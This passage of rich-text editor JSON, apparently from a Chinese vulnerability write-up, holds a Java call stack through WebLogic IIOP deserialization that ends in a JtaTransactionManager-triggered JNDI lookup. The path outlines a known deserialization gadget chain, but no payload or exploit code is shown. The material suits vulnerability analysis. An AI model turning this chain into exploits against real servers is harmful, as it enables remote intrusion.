6dba9f1acd9f32&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pXtO-1682256048828&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;da5I-1682256048827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nay8-1682256048957&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gD6h-1682256048830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6y1b-1682256048829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:417, InitialContext (javax.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JheB-1682256048832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QaS-1682256048831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oNiD-1682256048834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;geUh-1682256048833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiVu-1682256048836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5SDt-1682256048835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mt5N-1682256048838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVwA-1682256048837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gUIp-1682256048840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E2Ps-1682256048839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0XBG-1682256048842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LtEM-1682256048841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ePE0-1682256048844&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HXbl-1682256048843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8tK-1682256048846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WdCK-1682256048845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hHCm-1682256048848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UwIa-1682256048847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MtRt-1682256048850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nu5b-1682256048849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k70b-1682256048852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uWRJ-1682256048851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XGTQ-1682256048854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K0AS-1682256048853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UZE-1682256048856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gIqt-1682256048855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qmHe-1682256048858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PCHe-1682256048857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H0ak-1682256048861&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GQUC-1682256048860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Uvs-1682256048863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gXGF-1682256048862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1936, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cinl-1682256048865&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Royc-1682256048864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z1Nk-1682256048867&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kdW9-1682256048866&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2752, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tuOs-1682256048869&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fbHR-1682256048868&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VDpQ-1682256048871&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hiR1-1682256048870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:416, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KLVY-1682256048874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iElP-1682256048872&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:1404, HashMap (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;abZz-1682256048876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7heT-1682256048875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:-1, GeneratedMethodAccessor2 (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m9xx-1682256048878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOye-1682256048877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j612-1682256048880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UGnJ-1682256048879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BCSO-1682256048882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;So51-1682256048881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GdgE-1682256048884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OeFI-1682256048883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r8pI-1682256048886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E4Y7-1682256048885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6Bk-1682256048888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mLKV-1682256048887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Hkx-1682256048890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p3EJ-1682256048889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2788, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lxSd-1682256048892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;epKK-1682256048891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:326, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHFU-1682256048894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jBJ7-1682256048893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;access$800:242, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQD8-1682256048896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q6r5-1682256048895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readFields:195, ObjectInputStreamImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j4Yk-1682256048898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFPH-1682256048897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:429, AnnotationInvocationHandler (sun.reflect.annotation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEF8-1682256048900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eS3x-1682256048899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ppo-1682256048902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vju4-1682256048901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mj9c-1682256048904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E7AI-1682256048903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kCeg-1682256048906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RveV-1682256048905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XK9F-1682256048908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oCVb-1682256048907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hSiw-1682256048910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oFsT-1682256048909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NFt8-1682256048912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WvwH-1682256048911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1lr-1682256048914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Notc-1682256048913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xhme-1682256048916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qS4e-1682256048915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ZPP-1682256048918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jGkS-1682256048917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2785, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g1mL-1682256048920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YKfu-1682256048919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readFields:460, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lp1n-1682256048922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZQr-1682256048921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:294, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rWDH-1682256048924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FuL3-1682256048923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4k44-1682256048926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1Ki-1682256048925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Suq8-1682256048928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P4Oy-1682256048927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1936, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s1qD-1682256048930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IRxW-1682256048929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value_internal:220, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SBWd-1682256048932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RKG7-1682256048931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:115, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pSY-1682256048934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VNc3-1682256048933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1648, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;46WR-1682256048936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XyGq-1682256048935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1641, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LsFM-1682256048938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iEmk-1682256048937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wz5s-1682256048940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZPh-1682256048939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:249, CorbaServerRef (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8vOL-1682256048942&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xVdL-1682256048941&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:230, ClusterableServerRef (weblogic.rmi.cluster)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VL9u-1682256048944&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KMpM-1682256048943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:522, BasicServerRef$1 (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qLOR-1682256048946&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Krot-1682256048945&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VgfZ-1682256048948&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uSF4-1682256048947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:146, SecurityManager (weblogic.security.service)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UKwa-1682256048950&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r7wK-1682256048949&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;handleRequest:518, BasicServerRef (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dlz1-1682256048952&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aswz-1682256048951&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ldYT-1682256048954&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POoD-1682256048953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:256, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSce-1682256048956&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IUTk-1682256048955&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:221, ExecuteThread 